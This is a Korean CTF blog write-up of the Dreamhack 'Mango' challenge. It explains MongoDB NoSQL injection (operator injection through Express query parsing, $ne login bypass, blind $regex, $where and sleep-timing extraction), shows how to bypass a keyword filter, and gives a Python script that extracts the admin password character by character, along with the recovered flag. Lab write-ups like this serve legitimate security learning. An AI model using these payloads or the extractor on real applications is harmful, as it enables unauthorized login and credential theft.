CTF

Mango

whffu0123 2026. 6. 1. 21:32

Dreamhack Mango Write-up


NoSQL Injection

NoSQL Injection은 SQL Injection과 공격 목적 및 방법이 매우 유사하다. 두 공격 모두 이용자의 입력값이 쿼리에 포함되면서 발생하는 문제점이다. MongoDB의 NoSQL Injection 취약점은 주로 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생한다.

SQL은 문자열, 정수, 날짜 등의 자료형을 사용하지만, MongoDB는 이 외에도 오브젝트, 배열 타입을 사용할 수 있다. 오브젝트 타입의 입력값을 처리할 때는 쿼리 연산자를 사용할 수 있는데, 이를 통해 다양한 공격이 가능하다.

Express에서의 타입 주입

Express는 URL 파라미터에서 [키]=값 형태를 객체로 파싱한다.

?data=1234          → data: "1234"         (string)
?data[]=1234        → data: ['1234']       (object)
?data[5678]=1234    → data: { '5678': '1234' } (object)

타입 검증이 없으면 문자열 대신 객체가 주입될 수 있고, 이를 통해 MongoDB 연산자를 사용할 수 있다.

$ne 연산자를 이용한 인증 우회

$ne는 not equal의 약자로, 입력한 데이터와 일치하지 않는 데이터를 반환한다. 따라서 계정 정보를 모르더라도 다음과 같이 입력해 해당 정보를 알아낼 수 있다.

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
→ db.user.find({"uid": {$ne:"a"}, "upw": {$ne:"a"}})
=> [{"uid":"admin", "upw":"password"}]

Blind NoSQL Injection

NoSQL Injection을 통해 의도하지 않은 결과를 반환해 인증을 우회하는 것 외에도, 데이터베이스의 정보를 알아낼 수 있다. 이때 사용할 수 있는 공격 기법으로는 Blind NoSQL Injection이 있다. Blind SQL Injection과 같이 참/거짓 결과를 통해 데이터베이스 정보를 알아낼 수 있다.

MongoDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있다.

$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex 지정된 정규식과 일치하는 문서를 선택합니다.
$text 지정된 텍스트를 검색합니다.
$where JavaScript 표현식을 만족하는 문서와 일치합니다.

$regex

정규식을 사용해 식과 일치하는 데이터를 조회한다. ^글자 패턴으로 특정 문자로 시작하는지 확인할 수 있다.

db.user.find({upw: {$regex: "^a"}})  // upw가 'a'로 시작? → 결과 없음
db.user.find({upw: {$regex: "^g"}})  // upw가 'g'로 시작? → 결과 반환!
// => { "uid": "guest", "upw": "guest" }

$where + substring

JavaScript 표현식을 직접 실행할 수 있는 연산자로, substring을 활용해 한 글자씩 비교할 수 있다.

db.user.find({$where: "this.upw.substring(0,1)=='a'"})  // 첫 글자가 'a'?
db.user.find({$where: "this.upw.substring(0,1)=='g'"})  // → 결과 반환!

Sleep 함수를 통한 Time based Injection

결과가 직접 보이지 않을 때는 sleep 함수를 활용해 시간 지연으로 참/거짓을 판단할 수 있다.

?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
→ 첫 글자가 'g'이면 5초 지연 발생 → 맞는 글자!

문제 개요

MongoDB를 사용하는 로그인 서비스에서 Blind NoSQL Injection 취약점을 이용해 admin 계정의 비밀번호(플래그)를 추출하는 문제.

{'uid': 'admin', 'upw': 'DH{32alphanumeric}'}

엔드포인트 분석

/login — 취약점 발생 지점

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;
    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if(result){
            res.send(result['uid']);  // 로그인 성공 → uid 반환
        }else{
            res.send('undefined');   // 로그인 실패 → undefined 반환
        }
    })
});
  • req.query의 타입을 검증하지 않아 객체(object) 주입 가능
  • 로그인 성공 시 admin, 실패 시 undefined 반환 → 참/거짓 판단 가능 → Blind Injection

filter 함수 — 차단 목록

const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

admin, dh, admi 문자열이 포함된 요청을 차단한다.


취약점 분석

1. 타입 검증 없음 → 객체 주입 가능

Express는 URL 파라미터에서 uid[$regex]=값 형태를 uid: {$regex: "값"} 객체로 파싱한다. 타입 검증이 없으므로 MongoDB 연산자($regex, $ne 등)를 주입할 수 있다.

?uid[$regex]=ad.in
→ uid: { $regex: "ad.in" }  // 객체로 변환됨

2. 참/거짓 응답 노출 → Blind Injection 가능

상황 응답

로그인 성공 admin
로그인 실패 undefined

응답의 차이로 쿼리 결과의 참/거짓을 판단할 수 있다.


공격 방법

1. filter 우회

BAN 목록의 admin, dh는 정규식의 .(임의 문자 하나)를 이용해 우회한다.

차단 문자열 우회 방법 설명

admin ad.in .이 m을 대체
dh D.{ 대소문자 구분 + . 활용
/login?uid[$regex]=ad.in&upw[$regex]=D.{*
→ uid가 admin과 매칭, upw가 DH{...와 매칭
→ 응답: admin

2. $regex로 비밀번호 한 글자씩 추출

^글자 패턴으로 비밀번호가 특정 문자로 시작하는지 확인한다.

upw[$regex]=D.{a  → 응답: admin   (첫 번째 글자는 'a')
upw[$regex]=D.{b  → 응답: undefined 
...
upw[$regex]=D.{ab → 응답: admin   (두 번째 글자는 'b')

이 과정을 32번 반복하면 전체 비밀번호를 알아낼 수 있다.


Exploit 코드

import requests, string

HOST = 'http://host3.dreamhack.games:14894'
ALPHANUMERIC = string.digits + string.ascii_letters  # 0-9, a-z, A-Z
SUCCESS = 'admin'

flag = ''

for i in range(32):           # 플래그는 32글자
    for ch in ALPHANUMERIC:   # 각 자리마다 모든 문자 시도
        response = requests.get(
            '{}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{}{}'.format(HOST, flag, ch)
        )
        if response.text == SUCCESS:   # 응답이 'admin'이면 맞는 글자!
            flag += ch
            break

print('FLAG: DH{' + flag + '}')

동작 원리

flag = ''

1번째 글자:
  D.{0 → undefined
  D.{1 → undefined
  ...
  D.{8 → admin → flag = '8'

2번째 글자:
  D.{80 → undefined
  ...
  D.{89 → admin → flag = '89'

...32번 반복 → DH{89e50fa6fafe2604e33c0ba05843d3df} 완성!

풀이 단계

Step 1. 브라우저에서 filter 우회 및 $regex 동작 확인

http://host3.dreamhack.games:14894/login?uid[$regex]=ad.in&upw[$regex]=D.{*

 

Step 2. Python exploit 코드 작성 후 실행

python exploit.py

Flag

powershell에 코드 업로드 후 flag 확인
로그인 성공


 

'CTF' 카테고리의 다른 글

Image-Storage  (0) 2026.06.02
Command Injection  (0) 2026.06.02
Simple SQLi  (0) 2026.05.29
CSRF - 2  (0) 2026.05.27
CSRF - 1  (0) 2026.05.27